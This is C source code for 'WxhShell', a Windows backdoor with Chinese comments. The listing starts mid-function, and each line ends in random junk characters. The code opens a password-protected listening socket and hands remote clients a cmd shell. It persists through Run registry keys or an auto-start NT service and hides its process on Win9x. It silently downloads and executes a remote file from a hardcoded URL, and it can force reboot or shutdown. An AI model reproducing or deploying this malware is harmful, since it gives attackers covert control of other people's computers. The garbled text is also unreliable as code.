    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%k1=Ow5i  
    else { %@q/OVnM  
    closesocket(wsh); 31cC*  
    ExitThread(0); Q:v9C ^7  
    } NT1"?Thx|  
    break; isF jJPe  
    } H Z)an  
  // 获取shell _x'?igy  
  case 's': { L!>EW0  
    CmdShell(wsh); HxE`"/~.7k  
    closesocket(wsh); RX"~m!26  
    ExitThread(0); <w1# 3Mu'  
    break; +t8{aaV  
  } g %e"KnU  
  // 退出 Lh_Q@>k  
  case 'x': { Qnr7Qnb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q8=hUD%5C  
    CloseIt(wsh); =Rw-@ *#l  
    break; *LA2@9l  
    } H)@f_pfj(  
  // 离开 qX_( M2oLU  
  case 'q': { 12olVTuw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s*3p*zf  
    closesocket(wsh); rn8#nQ>QZ%  
    WSACleanup(); Nn:>c<[  
    exit(1); :~PzTUz  
    break; x$gVEh*k  
        } lFZ}.  
  } ~N!-4-~p  
  } WGC'k s ^  
S-Z s  
  // 提示信息 3W#f Fy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^1}Y=! &  
} uG:xd0X+W  
  } 4Y x\U  
9$iDK$%  
  return; $%GW~|S\C  
} p$+.]  
naaww  
// shell模块句柄 CHGV1X,  
int CmdShell(SOCKET sock) Xlp$ xp"  
{  W]aX}>0  
STARTUPINFO si; ?c7} v  
ZeroMemory(&si,sizeof(si)); ^6?)EM#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J|gRG0O9Ya  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }$wWX}@  
PROCESS_INFORMATION ProcessInfo; ==^9_a^  
char cmdline[]="cmd"; [m+):q^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QKAt%"1&  
  return 0; ?*K{1Ghf  
} 4\rwJD<  
M#'j7EMu  
// 自身启动模式 9~lC/I')t  
int StartFromService(void) 2sXNVo8`w"  
{ >vny9^_  
typedef struct ),%(A~\  
{ -0G/a&ss  
  DWORD ExitStatus; $ KAOJc4<  
  DWORD PebBaseAddress; 0^G5 zQlj  
  DWORD AffinityMask; xkPH_+4i8  
  DWORD BasePriority; K:_5#!*^98  
  ULONG UniqueProcessId; !o{>[  
  ULONG InheritedFromUniqueProcessId; ]A]EED.ZH  
}   PROCESS_BASIC_INFORMATION; g/_j"Nn  
^:Hx.  
PROCNTQSIP NtQueryInformationProcess; Yg<4}l."  
mAZfo53  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &40# _>W7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y$h.k"x`  
#|ILeby  
  HANDLE             hProcess; R4 x!b`:i  
  PROCESS_BASIC_INFORMATION pbi; !h[xeLlU  
a%igc^GS2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O dWZYWj  
  if(NULL == hInst ) return 0; +C8yzMN\  
~IhLjE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L&nqlH@+~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N#!**Q 0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZaKT~f%%z  
/ZpwJc`e  
  if (!NtQueryInformationProcess) return 0; ) Z^b)KAk  
F caO-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fZ7Ap3dmP  
  if(!hProcess) return 0; #UYrSM@u  
i7#PYt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q}qw` L1  
9=FqI50{  
  CloseHandle(hProcess); K|Kc.   
M0$wTmXM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "IE*MmsEz  
if(hProcess==NULL) return 0; MjrI0@R  
Pr_$%x9D  
HMODULE hMod; $?FA7=_  
char procName[255]; &'{?Y;A  
unsigned long cbNeeded; }r _d{nhi  
SAUfA5|e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W}0cM9 g  
~REP@!\r^  
  CloseHandle(hProcess);  =o? Q0  
7JL*y\'  
if(strstr(procName,"services")) return 1; // 以服务启动 ~bsL W:.'  
C A 8N  
  return 0; // 注册表启动 S`?L\R.:  
} 6U!zc]>  
"%[aWb  
// 主模块 N{<9N jmm  
int StartWxhshell(LPSTR lpCmdLine) |OarE2  
{ |vVcO  
  SOCKET wsl; M tD{/.D>  
BOOL val=TRUE; Ak=|wY{  
  int port=0; Q}(D^rGP3  
  struct sockaddr_in door; ;"T,3JQPn6  
7!kbe2/]'  
  if(wscfg.ws_autoins) Install(); <JkmJ/X  
}u9wD08x  
port=atoi(lpCmdLine); 'qt+.vd  
sQ05wAv  
if(port<=0) port=wscfg.ws_port; ;mtv  
 )o\U4t  
  WSADATA data; ?K>=>bS^h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'v?"TZ  
IJzPWs5W:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >^|( AzS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AhauNS^"{R  
  door.sin_family = AF_INET; [/'=M h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WPXLN'w+  
  door.sin_port = htons(port); l+n0=^ Z  
/tqQAvj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p*l]I *x'<  
closesocket(wsl); Ph Ep3o&"  
return 1; p+7ZGB  
} PYPDK*Ie  
UL<*z!y  
  if(listen(wsl,2) == INVALID_SOCKET) { oy< q;'  
closesocket(wsl); }bM=)eUfX  
return 1; DI,8y"!5  
} !c#~g0H+  
  Wxhshell(wsl); A!n)Fpk  
  WSACleanup(); S#g=;hD  
g]a5%8*{  
return 0; iF!r}fUU6  
>?yxig:_  
} 9 U!-Zn!  
/~nPPC  
// 以NT服务方式启动 s>+,u7EV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >|| =#;  
{ +w(>UBy-  
DWORD   status = 0; DuzJQ Sv  
  DWORD   specificError = 0xfffffff; Y%"73.x  
}+3v5Nz;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tJgo% P1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Q#<-/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \&#pJBBG  
  serviceStatus.dwWin32ExitCode     = 0; 3<vw#]yL  
  serviceStatus.dwServiceSpecificExitCode = 0; n |Is&fy  
  serviceStatus.dwCheckPoint       = 0; )cUFb:D*"  
  serviceStatus.dwWaitHint       = 0; '$m uA\  
8<X,6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !hS~\+E  
  if (hServiceStatusHandle==0) return; ` fm^#Nw  
u?-X07_  
status = GetLastError(); JS{trqc1d  
  if (status!=NO_ERROR) /QT"5fxKJ  
{ 8O='Q-& 8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %g+*.8;"b  
    serviceStatus.dwCheckPoint       = 0;  jcVK4jW  
    serviceStatus.dwWaitHint       = 0; 1Ka,u20  
    serviceStatus.dwWin32ExitCode     = status; yL.Z{wd  
    serviceStatus.dwServiceSpecificExitCode = specificError; | bWvQdN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `zmj iC  
    return; O77bm,E  
  } -Uu65m~:{k  
!GL kAV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fH6mv0  
  serviceStatus.dwCheckPoint       = 0; t;2\(_A  
  serviceStatus.dwWaitHint       = 0; s+RSAyU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M+lj g&fy  
} p%?m|(4f  
co-dq\P  
// 处理NT服务事件,比如:启动、停止 :i8B'|DN5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ']cRSj.  
{ g[ dI%  
switch(fdwControl) kEr; p{5  
{ ,rZp(moj  
case SERVICE_CONTROL_STOP: "T+oXK\B  
  serviceStatus.dwWin32ExitCode = 0; o1B8_$aYgc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hJsYKd8g  
  serviceStatus.dwCheckPoint   = 0; G$T#ql  
  serviceStatus.dwWaitHint     = 0; /Q*o6G ys0  
  { YKtF)N;m]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F-SD4a  
  } $lYy`OuC  
  return; q o^PS  
case SERVICE_CONTROL_PAUSE: @}[yC['  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {!G  
  break; pZUXXX  
case SERVICE_CONTROL_CONTINUE:  WPnw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ay-M.J  
  break; Rz\:)<G  
case SERVICE_CONTROL_INTERROGATE: {~u#.(  
  break; m?4L>'  
}; brXLx +H8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dvLO#o{  
} F\lnG  
Rx,Qw> #  
// 标准应用程序主函数 <[W41{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -<MA\iSP  
{ QgZ`~  
KbP( ;  
// 获取操作系统版本 Iq%f*Zm<  
OsIsNt=GetOsVer(); FWu[{X;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T|fmO<e*n  
zJ9[),;7B  
  // 从命令行安装 :1/K$A)^{  
  if(strpbrk(lpCmdLine,"iI")) Install(); kafRuO~$  
d=J$H<  
  // 下载执行文件 C[0*>W8o  
if(wscfg.ws_downexe) { V% PeZ.Xv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dd{pF\a  
  WinExec(wscfg.ws_filenam,SW_HIDE); oI2YJ2?Je8  
} 5OS|Vp||b  
xQ{n|)i>  
if(!OsIsNt) { |y T-N3H@  
// 如果时win9x,隐藏进程并且设置为注册表启动 AXmW7/Sj"  
HideProc(); ,-[e{=Cz  
StartWxhshell(lpCmdLine); dH8^\s .F  
} /j|Rz5@ =  
else fP :26pK^  
  if(StartFromService()) h'D-e5i  
  // 以服务方式启动 n>|7 k3  
  StartServiceCtrlDispatcher(DispatchTable); #;*0 Pwe`  
else qC;1ND  
  // 普通方式启动 : U:>X6f  
  StartWxhshell(lpCmdLine); q[rBu9  
`~ ,  
return 0; 14LOeo5O  
} iJH;OV;P  
.PHz   
%%-hax.x0X  
h0v4!`PQ-  
=========================================== D;RZE  
aOWfu^&H:  
ImnN&[Cu  
<ic%c/mN  
{y0`p1  
s1/:Ts[3i  
" t^Hte^#S  
_Vj uQ  
#include <stdio.h> Ait3KIJ9  
#include <string.h> k 6)ThIG  
#include <windows.h> =Y;w O8  
#include <winsock2.h> 6L\?+=X  
#include <winsvc.h> /ZcqKC  
#include <urlmon.h> :% o32  
H7=[sL^  
#pragma comment (lib, "Ws2_32.lib") 6gSo>F4=  
#pragma comment (lib, "urlmon.lib") gr%!<2w  
0 jszZ_  
#define MAX_USER   100 // 最大客户端连接数 O5;$cP:  
#define BUF_SOCK   200 // sock buffer luYa+E0  
#define KEY_BUFF   255 // 输入 buffer LBs:O*;  
afJ`1l  
#define REBOOT     0   // 重启 a`:ag~op@&  
#define SHUTDOWN   1   // 关机 icnc5G  
NDt +m  
#define DEF_PORT   5000 // 监听端口 TGe)%jZ  
fQ@k$W\  
#define REG_LEN     16   // 注册表键长度 \4B2%H  
#define SVC_LEN     80   // NT服务名长度 /'S@iq  
n,.ZLuBEX  
// 从dll定义API &q?A)R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); liuF;*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EP ;TfWc}1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B > sTM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?cF-w!>o8  
\@ j YY~  
// wxhshell配置信息 nKP[U=ac  
struct WSCFG { 4z$}e-  
  int ws_port;         // 监听端口 yhBf%m  
  char ws_passstr[REG_LEN]; // 口令 a/(IvOy#6  
  int ws_autoins;       // 安装标记, 1=yes 0=no T9,T'y>BD  
  char ws_regname[REG_LEN]; // 注册表键名 oK!W<#  
  char ws_svcname[REG_LEN]; // 服务名 zURob MpE#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -5_[m@Vr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |KM<\v(A{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p? q~.YY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T{VdlgL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E(l'\q'.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2d`:lk%\  
p%_m!   
}; LZ"yMnhOf  
$Bd13%>)  
// default Wxhshell configuration HalkNR-eEm  
struct WSCFG wscfg={DEF_PORT, q')MKR*  
    "xuhuanlingzhe", qq)Dh'5*e,  
    1, 0A7 qO1%xw  
    "Wxhshell", qBkI9H  
    "Wxhshell", 4IW7^Pq`P  
            "WxhShell Service", 99<0xN(25  
    "Wrsky Windows CmdShell Service", 3O W) %  
    "Please Input Your Password: ", w=r3QKm#K  
  1, AhjUFz  
  "http://www.wrsky.com/wxhshell.exe", U!0 Qf7D  
  "Wxhshell.exe" 0%9Nf!j  
    }; Bx>)i8P7i0  
AxXFzMW  
// 消息定义模块 -}h+hS50F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 >nl ]yO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gx*rxid  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8, >YB+Hb  
char *msg_ws_ext="\n\rExit."; z&"-%l.b@}  
char *msg_ws_end="\n\rQuit."; u)DhkF|  
char *msg_ws_boot="\n\rReboot..."; #\Q{?F!4  
char *msg_ws_poff="\n\rShutdown..."; %/86}DCfE?  
char *msg_ws_down="\n\rSave to "; nmLn]U=  
ZW]Q|vPh4U  
char *msg_ws_err="\n\rErr!"; 7,\Uk|  
char *msg_ws_ok="\n\rOK!"; m}x&]">9  
:[#~,TW  
char ExeFile[MAX_PATH]; }P5zf$  
int nUser = 0; _>G=v!  
HANDLE handles[MAX_USER]; 4|&7j7<u  
int OsIsNt; }WN0L?h.E  
i&r56m<  
SERVICE_STATUS       serviceStatus; 3E!#?N|v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GYx_9"J\5  
7*7Z&1*3  
// 函数声明 rt7Ma2tK  
int Install(void); 2 us-s  
int Uninstall(void); &*I\~;1  
int DownloadFile(char *sURL, SOCKET wsh); z)Y<@2V*C  
int Boot(int flag); &IQp&  
void HideProc(void); $uA?c& e  
int GetOsVer(void); )-_NtMr~`!  
int Wxhshell(SOCKET wsl); sGf\!w  
void TalkWithClient(void *cs); iaqhP7!  
int CmdShell(SOCKET sock); \LFRu  
int StartFromService(void); FN#6pM']|  
int StartWxhshell(LPSTR lpCmdLine); T:$zNX<f  
n\nC.|_G@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "%c\i-&t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k~(j   
I[~EQ {Iz  
// 数据结构和表定义 Y4%Bx8  
SERVICE_TABLE_ENTRY DispatchTable[] = +DWmutL  
{ B%v2)+?@  
{wscfg.ws_svcname, NTServiceMain}, ?G5JAG`  
{NULL, NULL} xZ51iD $  
}; [e2sUO0~r  
;CU<\  
// 自我安装 *0 ;DCUv  
int Install(void) x*H4o{o0  
{ \haJe~  
  char svExeFile[MAX_PATH]; $c-h'o  
  HKEY key; dbkkx1{>Y  
  strcpy(svExeFile,ExeFile); TzXivE@mm  
[<)/ c>Y  
// 如果是win9x系统,修改注册表设为自启动 )`RF2Y-A7  
if(!OsIsNt) { `"0#lZ`n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D t~Jx\\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI&& LwT4  
  RegCloseKey(key); &%~2Wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {iP^51fy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |~mi6 lJ6  
  RegCloseKey(key); M DnT  
  return 0; ZQT14.$L  
    } m6a q_u{W  
  } XE_|H1&j  
} tHSe>*eC  
else { EDR;" G(N  
ta>:iQ a  
// 如果是NT以上系统,安装为系统服务 u,:GJU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (C#9/WO?  
if (schSCManager!=0) {:&t;5qz^  
{ DiK@>$v  
  SC_HANDLE schService = CreateService _y}]j;e8>{  
  ( Azx4+`!-  
  schSCManager, q$EicH}k8  
  wscfg.ws_svcname, vUGEzCM  
  wscfg.ws_svcdisp, N[ %^0T$  
  SERVICE_ALL_ACCESS, (F$V m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l`L}*Q- 5  
  SERVICE_AUTO_START, ~X^L3=!vf  
  SERVICE_ERROR_NORMAL, :)v4:&do  
  svExeFile, T}(J`{ 9i  
  NULL, .6%-Il  
  NULL, =,0E]M Z  
  NULL, @ 8yV15!  
  NULL, :CO>g=`  
  NULL >]q{vKCAP  
  ); I_mnXd;n  
  if (schService!=0) j]EeL=H<P  
  { JcEPwF.  
  CloseServiceHandle(schService); VnUW UIVJ  
  CloseServiceHandle(schSCManager); d `LBFH,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]KfjZ!Qh  
  strcat(svExeFile,wscfg.ws_svcname); etdI:N*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vx@JP93|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SI=vA\e  
  RegCloseKey(key); Z~^)B8  
  return 0; `7qZ6Z3z@  
    } kP9DCDO`[5  
  } \2#>@6Sqrl  
  CloseServiceHandle(schSCManager); +Zu*9&Cx  
} @Otom'O  
} 1hj']#vBu  
nwh7DU i  
return 1; F}P+3IaE  
} `_C4L=q"  
Q=lQy  
// 自我卸载 w,dDA2,  
int Uninstall(void) xJ>U_Gd  
{  V3WHp'1  
  HKEY key; +]-~UsM  
7A|n*'[T>  
if(!OsIsNt) { J[rpMQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <zE,T@c  
  RegDeleteValue(key,wscfg.ws_regname); T+7O+X#  
  RegCloseKey(key); won;tO]\;@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m @) ~.E  
  RegDeleteValue(key,wscfg.ws_regname); s/+@o:  
  RegCloseKey(key); [(U:1&x &  
  return 0; X>^St&B}fC  
  } X4LU/f<f  
} iJE  $3  
} He att?(RR  
else { M<oIo 036  
~G.'pyW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iE$qq ~%  
if (schSCManager!=0) m.ev~Vv~  
{ a#t:+iw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MPx%#'Q  
  if (schService!=0) s86Ij>VLf  
  { 9 |v3lGK(  
  if(DeleteService(schService)!=0) { \<WRk4D  
  CloseServiceHandle(schService); uc]]zI6  
  CloseServiceHandle(schSCManager); Pu dIb|V2  
  return 0; ,h,DB=!K<  
  } /1ZRjf^  
  CloseServiceHandle(schService); cl kL)7RQ  
  } Lu,72i0O ^  
  CloseServiceHandle(schSCManager); Tg|0!0qD]F  
} zKB$n.H  
} 2TB>d+  
ssGp:{]v/  
return 1; e ?FjN 9  
} 33dHTV  
BH"f\oc  
// 从指定url下载文件 R&Y+x;({  
int DownloadFile(char *sURL, SOCKET wsh) >5Y%4++(  
{ x"q!=&>f  
  HRESULT hr; Z _W.iBF  
char seps[]= "/"; Nv!If$d  
char *token; t]LOBy-Kv  
char *file; b_2bg>|;  
char myURL[MAX_PATH]; gE$D#PZa  
char myFILE[MAX_PATH]; xi|T7,\X  
c:(Xk zj  
strcpy(myURL,sURL); %O] ]La  
  token=strtok(myURL,seps); 53efF bo  
  while(token!=NULL) #!="b8F  
  { ]t$wK  
    file=token; r:fMd3;gq  
  token=strtok(NULL,seps); BEWDTOY[  
  } Lky<L96  
yf3c- p  
GetCurrentDirectory(MAX_PATH,myFILE); ?`ETlFtD4  
strcat(myFILE, "\\"); ASA ]7qyO  
strcat(myFILE, file); F uYjrzmx  
  send(wsh,myFILE,strlen(myFILE),0); OolYQU1_  
send(wsh,"...",3,0); Aw#@}TGT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c'#w 8 V  
  if(hr==S_OK) }ZaZPB/_}P  
return 0; /BEE.`6yI5  
else QP HibPP:  
return 1; 1.29%O8V_  
L-. +yNX)  
} u7  s-  
/>^sGB  
// 系统电源模块 GHeucG} ?  
int Boot(int flag) Sep/N"7~t  
{ w)}' {]P"c  
  HANDLE hToken; /G*]3=cSe  
  TOKEN_PRIVILEGES tkp; >1luLp/,$  
klpYtQ  
  if(OsIsNt) { })~M}d2LXB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yR?S]   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 44@yQ?  
    tkp.PrivilegeCount = 1; ;1x(~pD*o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =+>cTV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .8[*`%K>  
if(flag==REBOOT) { tZ|0wPp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O7DaVlln  
  return 0; n{'LF #4l  
} vH14%&OcN  
else { >#pZ`oPEAv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FYe#x]ue  
  return 0; 05 56#U&>  
} >+}yI}W;e  
  } E}-Y!,v^  
  else { j >pv@D  
if(flag==REBOOT) { LT+QW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =(]yl_  
  return 0; s}w?Dvo\  
} ::<v; `l  
else { Bh<DqN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _m0B6?KJ  
  return 0; Ht`kmk;I)  
} OoIs'S-Z#  
} 4$W}6 v  
.|?UqZ(,  
return 1; W"3YA+qpI  
} yyZs[5Q  
QVT|6znw  
// win9x进程隐藏模块 #E`wqI\'  
void HideProc(void) Ec3TY<mVr  
{ r2b_$  
o57r ,`N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pDYcsC{p  
  if ( hKernel != NULL ) rf\/Y"D  
  { Kg8n3pLAX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d@b" ~r}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CpGy'Ia  
    FreeLibrary(hKernel); k[ZkVwx  
  } hiT&QJB` _  
H@|h Nn$@  
return; .:wo ARW!  
} W)~}o<a)[  
@1c[<3xJ T  
// 获取操作系统版本 m7 $t$/g  
int GetOsVer(void) Gf<f#.5y ,  
{ eVRPjVzQ'Q  
  OSVERSIONINFO winfo; h85 kQ^%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ov$S   
  GetVersionEx(&winfo); cPp<+ ts  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +H**VdM6s  
  return 1; GS)4,.  
  else *!5X!\e_  
  return 0; B'}pZOa[Wb  
} xq@_' 3X  
G4<M@ET  
// 客户端句柄模块 S4O'N x  
int Wxhshell(SOCKET wsl) fUKi@*^ZUa  
{ H$M{thW  
  SOCKET wsh; DnP "7}v  
  struct sockaddr_in client; HSG7jC'_  
  DWORD myID; +3d.JQoKl  
OAiSE`  
  while(nUser<MAX_USER) (8Inf_59  
{ &@U)  
  int nSize=sizeof(client); -]~KQvIH!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *S= c0  
  if(wsh==INVALID_SOCKET) return 1; YiGSFg  
Sv>bU4LHf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bdYx81  
if(handles[nUser]==0) Eb~e=){  
  closesocket(wsh); Rm&4Pku  
else XF Cwa  
  nUser++; 9%iv?/o*L  
  } cOoF +hz0O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k [eWhdSw  
>c30kpGg  
  return 0; pPH"6   
} '7yVvd  
,t|qhJF  
// 关闭 socket Lk`,mjhk  
void CloseIt(SOCKET wsh) HceZTe@  
{ iF^    
closesocket(wsh); 4?',E ddo  
nUser--; CFW#+U#U  
ExitThread(0); ~{00moN"m  
} ozUsp[W>  
f=cj5T:[  
// 客户端请求句柄 @.8FVF  
void TalkWithClient(void *cs) `gE_u  
{ kP[LS1}*  
aB^`3J  
  SOCKET wsh=(SOCKET)cs; 2]'cj  
  char pwd[SVC_LEN]; .T*89cEu  
  char cmd[KEY_BUFF]; j 21>\K!p  
char chr[1]; a0)]W%F  
int i,j; u;Rm/.  
ZOzwO6(_  
  while (nUser < MAX_USER) { /VHQ!Wi  
4NDT5sL  
if(wscfg.ws_passstr) { }!^`%\ %\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xf6\{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S]g`Ds<  
  //ZeroMemory(pwd,KEY_BUFF); 9Ac4'L  
      i=0; pT<}n 9yB5  
  while(i<SVC_LEN) { ,7os3~Mk9  
:TRhk.  
  // 设置超时 X$(YCb  
  fd_set FdRead; f\X7h6k8{  
  struct timeval TimeOut; ]&_z@Z.i  
  FD_ZERO(&FdRead); i-M<_62c  
  FD_SET(wsh,&FdRead); VpyqVbx1  
  TimeOut.tv_sec=8; &pFP=|Pq  
  TimeOut.tv_usec=0; %d^ =$Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LA4,o@V`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vT;~\,M  
d Z P;f^^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `%$l b:e  
  pwd=chr[0]; w\%AR1,rs  
  if(chr[0]==0xd || chr[0]==0xa) { c +N\uG4  
  pwd=0; !n`Y^  
  break; >o4Ih^VB  
  } n_eN|m?@  
  i++; ftRzgW);  
    } s0/y> ok  
2B[I- K s  
  // 如果是非法用户,关闭 socket 'tJ@+(tqw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vC%Hc/&.}  
} I;UCKoFT  
I'c rH/z9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H]PEE!C;xC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PwS7!dzH-  
fp2uk3Bm[  
while(1) { & d@N3y  
[;$9s=:[  
  ZeroMemory(cmd,KEY_BUFF); ;t \C!A6  
KvNw'3Ua  
      // 自动支持客户端 telnet标准   i'MpS  
  j=0; v@Bk)Z  
  while(j<KEY_BUFF) { J{r3y&:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rd ,5 &X$  
  cmd[j]=chr[0]; tE]Y=x[Ux  
  if(chr[0]==0xa || chr[0]==0xd) { .*{0[  
  cmd[j]=0; 6I-Qq?L[H  
  break; {33B%5n"  
  } UO}Yr8Z;  
  j++; Q+zy\T  
    } VskdC?yIp  
~!#2s'  
  // 下载文件 Lem:zXj  
  if(strstr(cmd,"http://")) { ?vg|;Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gh<2i\})'  
  if(DownloadFile(cmd,wsh)) d#u*NwY}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]^v*2!_(  
  else )|`w;F>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8w,{p`  
  } H57wzG{xG  
  else { ]z"7v  
-jcgxQH53  
    switch(cmd[0]) { FSHC\8siS  
  MxLi'R=  
